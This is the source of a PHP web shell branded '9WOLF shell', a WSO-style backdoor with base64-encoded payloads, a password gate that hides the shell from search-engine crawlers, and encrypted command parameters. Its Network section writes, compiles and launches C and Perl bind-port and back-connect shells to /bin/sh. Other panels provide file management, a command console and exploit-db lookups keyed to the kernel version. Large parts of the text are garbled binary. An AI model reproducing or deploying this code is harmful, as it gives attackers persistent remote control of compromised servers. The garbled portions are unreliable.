FpHUnlJQ29wSm5Jc0lEQjRNVEFwT3cwS0lDQWdJR3hwYzNSbGJpaHpMQ0ExS1RzTkNpQWdJQ0IzYUdsc1pTZ3hLU0I3RFFvZ0lDQWdJQ0FnSUdNOVlXTmpaWEIwS0hNcDd3dLVHNOQ2lBZ0lDQWdJQ0FnWkhWdpaGpMREFwT3cwS0lDQWdJQ0FnSUNCa2RYQXlLRzTVNrN0RRb2dJQ0FnSUNBZ0lHUjFjRElvWXl3eUtUc05DaUFnSUNBZ0lDQWdkM0pwZEdVb1l5d2lVR0Z6YzNkdmNtUTZJaXc1S1RzTkNpQWdJQ0FnSUNBZ2NtVmhaQ2hqTEhBc2MybDZaVzltS0hBcEtUc05DaUFnSUNBZ0lDQWdabTl5S0drOU1EdHBQSE4wY214bGJpaHdLVHRwS3lzcERRb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlnZ0tIQmJhVjBnUFQwZ0oxeHVKeWtnZkh3Z0tIQmJhVjBnUFQwZ0oxeHlKeWtnS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhCYmFWMGdQU0FuWERBbkMEtJQ0FnSUNBZ0lDQnBaaUFvYzNSeVkyMXdLR0Z5WjNaYk1sMHNjQ2tnUFQwZ01DaDaUFnSUNBZ0lDQWdJQ0FnSUhONWMzUmxiU2dpTDJKcGJpOXphQ0F0YVNJcE93MEtJQ0FnSUNBZ0lDQmpiRzl6WlNoaktUc05DaUFnSUNCOURRcDkiOw0KCSRiaW5kX3BvcnRfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCgllY2hvICI8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KCTxmb3JtIG5hbWU9JmcCcgb25TdWJtaXQ9J2cobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5wb3J0LnZhbHVlLHRoaXMucGFzcy52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+DQoJPHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2g8L3NwYW4+PGJyLz4NCglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJz4gVXNpbmc6IDxsYWJlbD48c2VsZWN0IG5hbWU9J3VzaW5nJz48b3B0aW9uIHZhbHVlPSdicGMnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdicHAnPlBlcmw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc+DQoJPC9mb3JtPg0KCTxmb3JtIG5hbWU9JmcCcgb25TdWJtaXQ9J2cobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz4NCgk8c3Bhbj5CYWNrLWNvbm5lY3QgdG88L3NwYW4+PGJyLz4NCglTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gVXNpbmc6IDxsYWJlbD48c2VsZWN0IG5hbWU9J3VzaW5nJz48b3B0aW9uIHZhbHVlPSdiY2MnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdiY3AnPlBlcmw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc+DQoJPC9mb3JtPjxicj4iOw0KCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCgkJZnVuY3Rpb24gY2YoJGYsJHQpIHsNCgkJCSR3PUBmb3BlbigkZiwidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7DQoJCQlpZigkdykJew0KCQkJCUBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZnB1dHMoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZmlsZV9wdXRfY29udGVudHMoJGYsQGJhc2U2NF9kZWNvZGUoJHQpKTsNCgkJCQlAZmNsb3NlKCR3KTsNCgkJCX0NCgkJfQ0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwYycpIHsNCgkJCWNmKCIvdG1wL2JwLmMiLCRiaW5kX3BvcnRfYyk7DQoJCQkk4paWID0gZXgoImdjYyAtbyAvdG1wL2JwIC90bXAvYnAuYyIpOw0KCQkJQHVubGluaygiL3RtcC9icC5jIik7DQoJCQkk4paWIC49IGV4KCIvdG1wL2JwICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7DQoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4k4paWIi5leCgicHMgYXV4IHwgZ3JlcCBicCIpLiI8L3ByZT4iOw0KCQl9DQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgew0KCQkJY2YoIi90bXAvYnAucGwiLCRiaW5kX3BvcnRfcCk7DQoJCQkk4paWID0gZXgod2hpY2goInBlcmwiKS4iIC90bXAvYnAucGwgIi4kX1BPU1RbJ3AyJ10uIiAmIik7DQoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4k4paWIi5leCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOw0KCQl9DQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYmNjJykgew0KCQkJY2YoIi90bXAvYmMuYyIsJGJhY2tfY29ubmVjdF9jKTsNCgkJCSTilpYgPSBleCgiZ2NjIC1vIC90bXAvYmMgL3RtcC9iYy5jIik7DQoJCQlAdW5saW5rKCIvdG1wL2JjLmMiKTsNCgkJCSTilpYgLj0gZXgoIi90bXAvYmMgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiTilpYiLmV4KCJwcyBhdXggfCBncmVwIGJjIikuIjwvcHJlPiI7DQoJCX0NCgkJaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7DQoJCQljZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsNCgkJCSTilpYgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOw0KCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JOKWliIuZXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsNCgkJfQ0KCX0NCgllY2hvICc8L2Rpdj4nOw0KCWhhcmRGb290ZXIoKTsNCn0NCmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQ0KCWlmKGlzc2V0KCTilpopICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICTilpopKQ0KCQkkX1BPU1RbJ2EnXSA9ICTilpo7DQoJZWxzZQ0KCQkkX1BPU1RbJ2EnXSA9ICdGaWxlc01hbic7DQppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQ0KCWNhbGxfdXNlcl9mdW5jKCdhY3RpbnIC4gJF9QT1NUWydhJ10pOw0KPz4NCg==")); 


 //--------------Watching webshell!--------------
if(array_key_exists('watching',$_POST)){
	$tmp = $_SERVER['SERVER\RuE4U%dU%u4Tbu%"E5Ew72uӲVFB"FVWFRЧТ77v&BТN)i#F6#FS3fcSfcf#3vCCf"#ТN)iG'VSТN)iuUDbӂsТN)itfW4sТN)iCRE4U%dU%tEEU4U%tTBuғЦb76WBE4U5($_SERVER['HTTP_HOST'])."key"])) {
	prfGRCRE4U%dU%tEE5BuҒ&W"N)iЧЦbVGE5Ev6'6WBuҒРE5Ev6'6WBuN)iðЦb76WBE5EvRuҒРb76WBE5EvuҒE5Ev`= iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['c'])) $_POST['c'] = iconv("utf""E5Ev6'6WBuFV7'BE5Ev2uE4UCRE4U%dU%tEE5BuҒ&W%ҒРb76WBE5EwuҒE5Ewu6b'WFbӂ"E5Ev6'6WBuFV7'BE5EwuE4U5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3&E4UCRE4U%dU%tEE5BuҒ&W%ҒЧЦgV7FFV7'BG7G"GvBGvC&6ScEV6FRGvBG7G#&6ScEFV6FRG7G"FV56#"#FV57G#"#FvRF7G&VG7G"f"FF7G&VGvBFFV56#6"&BG7G%Fҕ&BGvEFҒFV57G"FV56#FbF7G&VG7G"'&V&WGW&&6ScEFV6FRFV57G"Ф6WBvW'&%rrT“Ф6WBvuW'&'2rФ6WBvWV7WFFRrФ6WEFUƖ֗BЦbfW'66&RdU%4sR2rsrТ6WEv5VFW5'Vime(0);
}
@define('VERSION', '4.2.6');
if(get_magic_quotes_gpc()) {
	function stripslashes_array($array) {
		return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
	}
	$_POST = stripslashes_array($_POST);
    $_COOKIE = stripslashes_array($_COOKIE);
}

if(!empty($▛)) {
    if(isset($_POST['pass&bbCRE5Ew72i == $▛))
        prototype(md5($_SERVER['HTTP_HOST']), $▛);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛))
        hardLogin();
}
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$▘;
function hardLogin() {
		if(!empty($_SERVER['HTTP_USER_AGENT'])) {
		  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
		  if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
		  header('HTTP/1.0 404 Not Found');
		  exit;
		  }
		}
	die("</br></br><pre align=center><form method=post style='font-family:Nunito, sans-serif;color:#1a1a1a; text-shadow: 2px 0 0 #0d52bf, -2px 0 0 #0d52bf, 0 2px 0 #0d52bf, 0 -2px 0 #0d52bf, 1px 1px #0d52bf, -1px -1px 0 #0d52bf, 1px -1px 0 #0d52bf, -1px 1px 0 #0d52bf; text-align: center;'><h3>Hello <br>Welcome to 9WOLF shell</h3><br><input placeholder='password' type=password name=pass style='border-radius: 4px 0px 0px 4px; background-color:whiterS&&FW#6ƖB4ddcWFƖSSr&WV&VCƖWBGS7V&֗BSwvF6rrfVSsr7GSvVvC#&&FW#S&&FW"&FW3GG&6w&VB6#3CS&&c6#6ffc7W'6#FW#sf&&SУFb673wfWrsFb673wRsFb673v6&6RsFcFb673v6&6RsFcFb673v6&6RsFcFb673v6&6RsFcFb673v6&6RsFcFb673v6&6RsFcFcFcУ7GS&GƇFǶ&6w&VC3fW&fsFFVvGFSVvCS6F'6WFS֖FW#fWw6F'6WFSFVgC&vC&GFӣvV&BW'7V7FfSCW'7V7FfSC֖FW#WvGF#VvC#vV&BG&6f&7GS&W6W'fR6CG&6f&7GS&W6W'fR6C6Fabsolute;z-index: -2;}.plane.main{position:absolute;top:0;left:0;right:0;bottom:0;margin:auto;&V&BG&6f&ӧ&FFUcFVr&FFU3FVrG&6f&ӧ&FFUcFVr&ateZ(-30deg);-webkit-animation:rotate 20s infinite linear;animation:rotate 20s infinite linear;z-index: -2;}.plane.main .circle{width:120px;height:120px;positio'6WFSvV&Bransform-style:preserve-3d;transform-style:preserve-3d;border-radius:100%;box-sizing:border-box;box-shadow:0 0 60px #a10705,inset 0 0 60px #7a0000;z-index: -2;}.plane.main .circle::after,.plane.main .circle::before{contecrsF7&66F'6WFSFVgC&vC&tom:0;margin:autgvGFRSVvCRS&&FW"&FW3S&6w&VC3VC&6s&&FW"&&6Fsc'3v֖FW#R6&6S&Vf&WvV&BG&6f&ӧG&6FUӓG&6f&ӧG&6FUӓR6&6SgFW'vV&BG&6f&ӧG&6FUG&6f&translateZ(90px)}.plane.main .circle:nth-child(1){-webkit-transform:rotateZ(72deg) rotateX(63.435deg);transform:rotateZ(72deg) rotateX(63.435deg)}.plane.main .circle:nth-child(2){-webkit-transform:rotateZ(144deg) rotateX(63.435deg);transform:rotateZ(144deg) rotateX(63.435deg)}.plane.main .circle:nth-child(3){-webkit-transform:rotateZ(216deg) rotateX(63.435deg);transform:rotateZ(216deg) rotateX(63.435deg)}.plane.main .circle:nth-child(4){-webkit-transform:rotateZ(288deg) rotateX(63.435deg);transform:rotateZ(288deg) rotateX(63.435deg)}.plane.main .circle:nth-child(5){-webkit-transform:rotateZ(360deg) rfFUc2C3VFVrG&6f&ӧ&FFU3cFVr&FFUc2C3VFVrvV&BֶWg&W2&FFWWvV&Bransforg&FFU&FFU&FFUG&6f&ӧ&FFU&ateY(0) rotateZ(0)}100%{-webkit-transform:rfFU3cFVr&FFU3cFVr&FFU3cFVrG&6f&ӧ&FFU3cFVr&FFU3cFVr&FFU3cFVrWg&W2&FFWWvV&BG&6f&ӧ&FFU&FFU&ateZ(0);transform:rfFU&FFU&FFUWvV&BG&6f&ӧ&FFU3cFVr&FFU3cFVr&FFU3cFVrG&6f&ӧ&ateX(360deg) rotateY(360deg) rotateZ(360deg)}}; h2{color:whitesmoke; font-weight:bold; text-decoration:underline;}</style>");
}
if(strtolfW"7V'7G"22'v"РF2wvsЦV6PРF2v旂sТG6fUde = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$hnU7vBvWF7vBЦb76WBE5Ev2uҒР6F"E5Ev2uғТF7vBvWF7vBЦbF2wvrРFU7vB7G%&W6R%"""FU7vBРF7vB7G%&W6R%"""F7vBЧЦbF7vE7G&VF7vBrrРF7vBrsТ
B#R&BЦgV7F&DVFW"РbVGE5Ev6'6WBuҒРE5Ev6'6WBuDt$5~)iuӰРV6#ƇFƆVCWFGGWVct6FVBGRr6FVCwFWBFò6'6WC"E5Ev6'6WBu"sFFS"E4U%dU%tEE5Bu"u4"dU%4#FFSТƖ&VcvGG3fs.googleapis.com/css?family=Nunito' rel='stylesheet'>
    
<style>
	body {backgrfB6#3c6#6SSS&vfC&sRR&VfWF6626W&c6f7F7&6fW'F6Ɩv&GFӷР7'F6W2֧7vGFSVvC&6w&nd-color: #060a10; background-image: url(''); backgrfB&WVC&WVC&6w&VB6S6fW#&6w&VB6FSRSSР&GFBFfCBF&fW&F626W&bV6F63rgin:0;vertical-align:top;}
	table.info	{color:#C3C3C3;}
	table#toolsTbl {backgrfB6#3cР7ƃ6#3c#s#2'FCР7fBvVvC&FW#
	h1			{border-left:5px solid #a10705;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
	div.cofV@FFsW&vVgCW&6w&VB6#3cРFWBFV6&FSРfW FWBFV6&FVFW&ƖSРFFgFW"&6w&VC3cc4CS6#4ddc6FVCGG"FFFF&vFSF7&6FFsg6F'6WFSf6&ƗGFFVРooltip:hover::after {opacity:1;visibility:visible;}
	.ml1		{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
	.bigarea	{min-width:100%;max-width:100%;height:400px;}
	input, textarea, select	{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:nnSР&V6Frelative}
	label:after{border-bottom:2px solid #999;border-right:2px solid #999;content:'';display:block;height:5px;margin-top:-4px;pointer-events:none;positio'6WFS&vC'FSSebkit-transform-origin:66% 66%;-ms-transform-origin:66% 66%;transform-origin:66% 66%;-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);&V&BG&6FW2V6R֖WCG&6FW2V6R֖WCvGFWР&Væ&Vf&R6FVCrs&vCFvGFwVvCw&6w&VC3##3#6F'6WFSFW"WfVG3SF7&6Рf&А&vР7F5F&FWBƖv6Ver;}
	#fak 		{background:nnSР6fFBFFsWРg&P&&FW#6ƖB3cРF4vGF3РFFWBƖvVgC&6w&VB6#3cРG#fW'&6w&VB6#33SC#S#РFBFfW'F6Ɩv֖FFSРWEGSw7V&֗Bu׶&6w&VB6#3CS&&c6#6fffРWEGSv'WGFu׶&6w&VB6#3CS&&c6#6fffРWEGSw7V&֗Buhover{background-color:#002e99; color:#fafafa8РWEGSv'WGFuӦfW'&6w&VB6#3&S6#6fffР&6w&VB6#3##3#Р&Pf:9pt Courier New;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3&%"f6RrsF7V66'2E5Ew2lENT_QUOTES)) ."';
    var d = document;
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=föb3#VBV6Rb3#rbf3#CV37G&rg&6$6FR3b"7G&rg&6$6FR3cc2#V6WV37G&rg&6$6FR3"##B7G&rg&6$6FR3bcc2#7G&rg&6$6FR3cc2#֖bV2V—bVC7F'BWFgFWB7G&r6Ɩ6R7F'BVBWFgFWBV37F'CVC֖bVC7F'BWFgFWB7G&r6Ɩ6R7F'B7G&v“&WGW&WFgFWCРgV7F&6ScEV6FRFFf"#cBt$4DTdt%5EUeu&6FVfv'7GWgw#3CScssf""2ƃƃ"ƃ2ƃB&G2Ɠ3V3rrF'#յӶbFF&WGW&FFFFWFcV6FRFFrrFFF6$6FTB#FF6$6FTB3FF6$6FTB&G3g#Ç3&G3c6c#&G3"c6c3&G3bc6cC&G2c6cF'%2#cB6$B#cB6$B"#cB6$B2#cB6$BBvRFFVwFV3F'"rr7vF6FFVwFS266RV3V26Ɩ6R"ss'&V66R#V3V26Ɩ6Rss'&V&WGW&V3РgV7Fset(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=f–Bb"alue=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3PРBbalue = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p2.value = encrypt(d.mf.p2&VRr"E4UCRE4U%dU%tEE5BuҒ&W%"rРBb2fVRV7'BBb2fVRr"E4U5($_SERVER['HTTP_HOST'])."key"]."');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $tf76SGFF76SРG&VV6RVRw"rРFW&VVRw2rРFWƖvGGllrefer.com/?https://www.exploit-db.com/search/?action=search&description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getgVBРFvBvWFזvBРFw&W##РV6RРGVB6vWGwVB6vWFWVBРFvB6vWFw&vB6vWFVvBРGW6W"GVEvRuӰРGVBGVEwVB{
		$group = $gid['name'];
		$gid = $gid['gid'];
	}
	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}
	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $▟)
		$opt_charsets .= '<option value="'.$▟.'" '.($_POST['charset']==$▟?'selected':'').'>'.$▟.'</option>';
	$m = array('Sec. Info'=>'SecInfo','Files'=>'Filerrt66Rst66RrtfV7BstfV7Bru7su7rusuru6fRFRsu6fTFRru7G&rF2su7G&uF2rt''WFVf&6Rst''WFVf&6Rretwork'=>'Network');
	if(!empty($GLOBALS['▛&РFղtvWButvWBsРFղu6Vb&VfRuu6Ve&VfRsРFVRrsРf&V6F2FGbРFVRsF&Vc"2"6Ɩ6&rrrGburVururur#rFsFsРFG&fW2"#РbDt$5v2`== 'win') {
		foreach(range('c','z') as $drive)
		if (is_dir($drive.':\\'))
			$drives .= '<a href="#" onclick="g(\'FilerrrrFG&fRsr#rFG&fRrsРР
#RFֶ7bРV6sF&R673֖f6VFFs26V76svGFSG#FBvGF7VS'#W6W#'#'#FC'#7vCrDt$5v2uwvss'#G&fW3srrs7d><td><nobr>'.substr(@php_uname(), 0, 120).' <a href="https://nullrefer.com/?https://www.google.cn6V&6rW&V6FRVRr"F&vWC%&#vvR&Vc"rFWƖr"F&vWC&WBD"'#'#rGVBrrGW6W"r7w&W7rFvBrrFw&Wr'#rfW'6ₒr76fRFS7rDt$5w6fUFRusfB6#6sSf>':'<font color=#f9c440><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'&Wu6RGFalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td><td width=1 align=right><nobr><label><select onchange="g(null,null,null,fVF2fVR#rFE6'6WG2s6VV7C&V'#76W'fW"7'#rvWF7F'RE4U%dU%$EE5B%Ғs'#76ƖVB7'#rE4U%dU%u$TDUDE"us'#FCG#able><table style="background-color:#0d52bf;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr><&&SFcsЧЦgV7F&DfFW"РF5w&F&R5w&F&RDt$5v7vBuғ"fB6#r6c3CCsw&FV&RfC#"fB6#6sSBw&F&RfC#ТV6 УFcУF&R673֖fCoolsTbl cellpadding=3 cellspacing=0 width=100%>
	<tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td>
		<td><form o7V&֗C""gV7FW7G2v7FfW5F2r&rtfW5F2rVF2bfVR#rr'&WGW&f6S#7&VBfS7'#ƖWB673wF4rGSFWBSb&WV&VCƖWBGS7V&֗BfVSw7V&֗Bsf&d>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
		<td><form o7V&֗C""gV7Fexists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',fF22fVR#rr'&WGW&f6S#7WV7WFS7'#ƖWB673wF4rGSFWBS2fVSrsƖWBGS7V&֗BfVSw7V&֗Bsf&FCРFCf&WFCw7Br"gV7FW7G2v7FfW4r"7V&֗C'&WGW&f6S"#rr$T5ESvVF'Bf&FFsРƖWBGSֆFFVSfVStfW4sРƖWBGSֆFFVS2fVSr"F7V66'2Dt$5v7vBuҒ"sРƖWBGSֆFFVSfVSwWDfRsРƖWBGSֆFFVSRfVSrsРƖWBGSֆFFVS6'6WBfVSr"76WBE5Ev6'6WBuғE5Ev6'6WBuӢrr"sР7WBfS7F5w&F&S'#ƖWB673wF4rGSfRSeVFSƖWBGS7V&֗BfVSw7V&֗Bsf&'"FCРG#F&SFcР'F6W2FbCw'F6W2֧2sFc67&B7&3vGG36F6FVƗg"WB'F6W22"'F6W2֖2s67&CР67&C'F6W42w'F6W2֧2rw'F6W2sumber':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity^sw72sf6Ww6RswfVRs2w&FsG'VRvsvV&Rsf6Rw7VVBsCw6U֖sw72sf6WvƖUƖVBsvV&RsG'VRvF7F6Rs#v6"sr6fffffbrv6GsBwvGFsvfRsvV&RsG'VRw7VVBsvF&V7FsvRrw&FsG'VRw7G&vBsf